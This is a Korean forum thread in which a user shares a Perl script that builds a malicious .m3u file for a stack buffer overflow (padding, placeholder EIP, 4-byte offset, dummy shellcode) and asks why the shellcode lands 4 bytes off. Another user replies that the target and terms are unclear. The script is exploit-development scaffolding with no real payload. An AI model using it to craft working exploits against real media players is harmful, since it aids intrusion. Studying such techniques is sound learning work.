BOF할때 pop pop return 이나 push return를 eip에 덮을때 질문입니다.

badwood의 이미지

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";(여기에 pop pop return주소나 push return주소를 넣겟죠)
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
 

위처럼 exploit코드를 넣습니다.

만약 preshellcode를 안넣으면 쉘코드 시작이

1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"
^ D부터 시작합니다 즉 4바이트 후부터 시작하는거지요

제가 원하는건 쉘코드가 1부터 읽어져야하는데 말이지요..

그래서 preshellcode인 "XXXX" 4바이트를 넣는데요

이부분이 제가 이해한 부분으론

4 바이트가 반환 값을 위해 예약되어 있다고 알고있는데요.

이것이 정확한것인지....답변 부탁드립니다 고수님들 ㄷㄷ

declspec의 이미지

BOF 는 대상 프로그램에 따라서 방식이 다 달라지는것이고
스택 위치랑 리턴주소 위치도 다 다르기 때문에
공격 대상 프로그램에 대한 언급없이 말씀하시면
무슨말인지 잘 모르겠네요

리턴주소에 쉘코드의 시작주소를 덮어써야 할텐데..
pop pop return 이나 push return 주소라는건 뭔가요?
preshellcode 도 처음듣네요

자기실력이 좋다고 느껴지는건 공부를 안하고 있다는 신호.